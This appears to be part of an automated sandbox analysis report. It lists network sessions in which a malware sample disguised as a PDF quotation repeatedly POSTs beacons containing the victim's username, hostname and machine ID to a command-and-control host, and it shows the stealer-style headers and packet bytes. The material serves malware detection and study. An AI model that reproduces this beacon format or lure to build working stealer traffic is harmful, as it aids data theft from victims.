Aug 4, 2021 13:57:01.578948975 CEST	6147	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=glGJIB7ur1VK0wrxQFK5A0VUJ7eaftfMoBQcYHEAOFo0TbzzHzVT%2FFR7nc0ADIIjPVdZ9K4ujkI10tktyB%2B0pNMlyO7WNJdsU5JRs%2BunLlKJ0r%2FhSwm2t3GVK6WtDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b133f8a2484-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49839	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:01.827505112 CEST	6148	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:01.844599962 CEST	6148	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:02.088974953 CEST	6149	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2s6jct%2FhBPo21uqcOFx2Xt65v%2FKP2ouwQrAe%2BQozGkqoktVPzNJMNbcQ5fszE7V2hUwNk7UmywHP7lgp4y4N%2BJ5G83AbZU2uIblX4x6SLTv%2FMcueLPe%2FZvohmwS8BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b167e941782-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49840	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:02.307864904 CEST	6150	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:02.325176001 CEST	6150	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:02.569292068 CEST	6151	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HnI1tjo%2BTNBTdn%2BKepjeeOMlpF4IgmGWYUFaHfDB8x8zQo00aixG9%2BFfa2IS4FiaxHVntQZPiJw7jT3pRnWqvNohIebMM8w8JbgcpKZdCM9N5yT4hHbQhVbX36jiZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b197e2e4dd6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49841	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:02.803453922 CEST	6152	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:02.820370913 CEST	6152	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:03.061908007 CEST	6153	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=df6uUjqXfThKzwswdI4FbMHuPxANk5ZSrwGRvGHbG790IJ4pydLo0c238nHOuxy2a1Kas5kiPKU4e1dqwQFXmQ%2Fwu%2BpGEd5lmLh6%2BHqe5AMUPcdiUnHKmSfbN7kgRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b1c999742fd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49842	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:03.285828114 CEST	6154	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:03.304399967 CEST	6154	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:03.553042889 CEST	6155	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=N%2F2hzRrnbgFeiLxPPAZt01iUsMkX90aLQVqPJ7DDZAkBcRs%2Fuzdy9MadfyUBVvgnVubIsa7BHZTzPrcWpZxBXLhYKNNVBlM9olT95aXKpzmLXHcVdLZplG7vDWCQRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b1f9fb04315-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49843	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:03.816370010 CEST	6155	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:03.834341049 CEST	6156	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:04.078752041 CEST	6156	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BohM%2BijwvKDu68KMLJJzI6OQZZtLI7WILI4wTgSTk1F1yWTjXKv1G3B1XkjtqfJtZnfIiGxPuR1vo7stsmSdinckxa81I%2FI9HZJAeAEwrNtLpiLcgcXSPiGqtxXNOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b22ea5c4e19-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49844	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:04.297466993 CEST	6157	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:04.316066027 CEST	6158	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:04.578030109 CEST	6158	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Xfap0kW3QkPmHC%2FO23MXWuIRS3JdHHYR6iebn9SiiIykz7INSHRj%2BZWx0HplQKqW3LGNnD3gdAqTIPI%2FzJ7gQLOZ%2BhFnRZsVshRzh8j%2FH7zagy8ubTa49yslm0ES0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b25ed9a0eab-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49845	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:04.818058968 CEST	6159	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:04.835169077 CEST	6159	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:05.159058094 CEST	6160	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NcQGHEKf84Rnjl%2FHllyKL1l2%2B%2FYaOLRhK0cY7jZV0zZFEkeT0tLCHFttRALy0icxJqOezF45RaWsrn5uodDzXY9pr8abltwFToleyp5fz%2FW5BQJPaB57YyPO3VPrOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b292a30d729-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49846	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:05.608398914 CEST	6161	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:05.628022909 CEST	6161	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:05.875875950 CEST	6162	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UtuYkZK5ZYo4vEznP9TPFvxJw8vyib4D%2F1XHwZg7nK9Bg4aTmzLfrFVGANFJ1Wi183ihDezQ2CjosKGg25ZFoopfsoPuPMQlAQ%2B6At0nKTW2GpNZ0tRGq6vfcVJdsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b2e1e1be00b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49847	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:06.137032986 CEST	6163	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:06.154023886 CEST	6163	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:06.401918888 CEST	6164	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MBO%2BKdfOTISDSCnQ8GJaBW5Y6VYMSTiX8%2FkUU6gsHjWkkGkm04olAlD6bGL6vKqYm%2FFlGa75Ap7eFfVeuW7xSXsqkE4D2xg1vbNrlXhf4cLE77n3674rmEgu%2FxQnkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b3168804e31-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49726	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:58.049043894 CEST	1430	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:58.065952063 CEST	1434	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:58.305253983 CEST	1439	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TJqFpnnTizVHiW75ikuL85%2B7mwU0fbvO%2F9lLO0hF%2FH%2BiS8awkVkAEteBUnB5q36A2t8aQwYlMFsqqEr8TbQNuYoimxnxSVHIf3NhF21rIyN35MRphGb2npoyszIRjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979987d8ae4aaf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49848	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:07.024965048 CEST	6165	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:07.042058945 CEST	6165	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:07.279740095 CEST	6166	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SWEgMW1T3L9MpIzKiudj0132pXIgpkGCqwLqfA3ZFNPEZx0Tr8ohsNzC155uU%2BVgH6Ku%2F0ePCvskQ38jPqyOmdLsTeVTC7MbpkusJhIPg%2B%2Bc42UJ6IOkxzh4oL%2FnmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b36ff632c56-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.5	49849	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:08.397834063 CEST	6167	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:08.415230036 CEST	6167	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:08.655006886 CEST	6168	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ch8T2TkUOdrdgkp%2BlZ6GXIz9IdsN8zimCEDF8p588o8JCsNIASIUu1XEJruBfOlG1tPubkQJTu9mIiS3Rh7yXr7FP3IYqBKyJtdLoZbfxQX8AxHh5n9w7JuHRg1T8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b3f8b944a98-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49850	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:08.900465965 CEST	6169	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:08.917593002 CEST	6169	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:09.151705027 CEST	6170	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t4G3SQdeJSm4nMuLOgtBYRfnuKr%2Bth2v8N3Dsf9JYzO0TkNJ6g%2B2eYafnVd5DFRlzJ5z7EqRCuyR1FkpnFxSN125CXNr6G06f1Amrv6BLxTsQqj71fSmsrC8Xr%2B2xw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b42acd94351-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.5	49851	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:09.400526047 CEST	6170	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:09.418828964 CEST	6171	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:09.654335976 CEST	6171	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=z6Ae1gYTCk2XDa61aqqkIJNs8E7%2FaQYuuJkQHSEenMk9DcHB1kr9ftSJjr%2Fc%2FuLC4qUcGt1Gx3750Rv%2BDOga9aBvtOs6JZAsjBNsRM%2FQW31JkG870wtr4uqFtPWeIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b45ceedc2a9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49852	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
